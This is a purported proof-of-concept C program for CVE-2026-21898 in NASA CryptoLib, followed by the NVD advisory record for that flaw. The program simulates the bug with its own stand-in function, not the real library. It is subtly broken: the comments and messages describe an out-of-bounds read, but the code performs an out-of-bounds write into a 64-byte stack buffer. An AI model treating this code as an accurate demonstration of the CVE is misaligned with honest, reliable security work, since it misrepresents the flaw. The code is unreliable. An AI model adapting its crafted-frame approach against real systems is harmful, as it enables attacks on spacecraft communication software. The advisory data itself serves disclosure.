CVE-2026-21898

// CVE-2026-21898 PoC - Malformed AOS Frame Hash // This PoC demonstrates the out-of-bounds read in Crypto_AOS_ProcessSecurity // Target: NASA CryptoLib < 1.4.3 #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated AOS Frame Structure typedef struct { unsigned char frame_header[16]; unsigned short hash_length; unsigned char* hash_data; unsigned char payload[256]; } AOS_Frame; // Vulnerable function (simplified simulation) void Crypto_AOS_ProcessSecurity(AOS_Frame* frame) { // VULNERABLE: No bounds checking on hash_length unsigned char hash_buffer[64]; // Out-of-bounds read when hash_length > 64 for (int i = 0; i < frame->hash_length; i++) { hash_buffer[i] = frame->hash_data[i]; } } // Craft malicious frame to trigger vulnerability AOS_Frame* craft_malicious_frame() { AOS_Frame* frame = malloc(sizeof(AOS_Frame)); // Set hash_length larger than buffer (64 bytes) frame->hash_length = 256; // Exceeds hash_buffer size frame->hash_data = malloc(256); memset(frame->hash_data, 0x41, 256); return frame; } int main() { printf("[*] CVE-2026-21898 PoC\n"); printf("[*] Target: NASA CryptoLib < 1.4.3\n"); printf("[*] Vulnerability: OOB Read in Crypto_AOS_ProcessSecurity\n\n"); AOS_Frame* malicious_frame = craft_malicious_frame(); printf("[*] Crafting malicious AOS frame...\n"); printf("[*] Hash length: %d bytes (buffer size: 64 bytes)\n", malicious_frame->hash_length); printf("[*] Triggering vulnerable function...\n"); Crypto_AOS_ProcessSecurity(malicious_frame); printf("[!] Out-of-bounds memory read occurred!\n"); printf("[!] Potential information disclosure or crash\n"); free(malicious_frame->hash_data); free(malicious_frame); return 0; }

{"cve": {"id": "CVE-2026-21898", "sourceIdentifier": "[email protected]", "published": "2026-01-10T01:16:17.957", "lastModified": "2026-01-15T21:48:49.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. Prior to version 1.4.3, the Crypto_AOS_ProcessSecurity function reads memory without valid bounds checking when parsing AOS frame hashes. This issue has been patched in version 1.4.3."}, {"lang": "es", "value": "CryptoLib proporciona una solución únicamente de software utilizando el Protocolo de Seguridad de Enlace de Datos Espaciales CCSDS - Procedimientos Extendidos (SDLS-EP) para asegurar las comunicaciones entre una nave espacial que ejecuta el Sistema de Vuelo central (cFS) y una estación terrestre. Antes de la versión 1.4.3, la función Crypto_AOS_ProcessSecurity lee memoria sin una comprobación de límites válida al analizar los hashes de tramas AOS. Este problema ha sido parcheado en la versión 1.4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nasa:cryptolib:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.3", "matchCriteriaId": "AE1BE91E-2901-42AF-BC66-762CFA7A2582"}]}]}], "references": [{"url": "https://github.com/nasa/CryptoLib/releases/tag/v1.4.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nasa/CryptoLib/security/advisories/GHSA-7ch6-2pmg-m853", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/nasa/CryptoLib/security/advisories/GHSA-7ch6-2pmg-m853", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}